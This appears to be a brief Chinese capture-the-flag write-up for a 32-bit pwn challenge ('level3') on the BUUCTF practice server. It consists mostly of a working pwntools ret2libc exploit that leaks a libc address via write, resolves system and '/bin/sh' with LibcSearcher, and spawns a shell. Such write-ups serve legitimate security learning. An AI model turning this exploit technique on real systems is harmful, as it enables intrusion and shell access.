image.png
    栈不可执行,32位程序
    image.png
    这漏洞,太熟了,ret2libc3

    1. from pwn import *
    2. from LibcSearcher import*
    3. context(log_level = 'debug')
    4. #io = process("level3")
    5. io = remote("node4.buuoj.cn",28740)
    6. #context.arch = "amd64"
    7. elf = ELF('level3')
    8. offest = 0x88
    9. write_got = elf.got['write']
    10. write_plt = elf.plt['write']
    11. main_addr = elf.sym['main']
    12. io.recvuntil("Input:\n")
    13. payload = b'a'*(offest+4) + p32(write_plt) + p32(main_addr) + p32(1)+p32(write_got)+p32(4)
    14. io.sendline(payload)
    15. write_addr = u32(io.recv(4))
    16. log.success('write_addr ==>'+hex(write_addr))
    17. libc = LibcSearcher("write",write_addr)
    18. libcbase =write_addr - libc.dump('write')
    19. system_addr =libcbase +libc.dump('system')
    20. bin_sh_addr =libcbase + libc.dump("str_bin_sh")
    21. io.recvuntil("Input:\n")
    22. payload1 = b'a' *(offest+4)+p32(system_addr)+b'aaaa'+p32(bin_sh_addr)
    23. io.sendline(payload1)
    24. io.interactive()

    不过我每次本地都打不通,打服务器就打通了。。。。。。。。应该是libc的问题,,,,,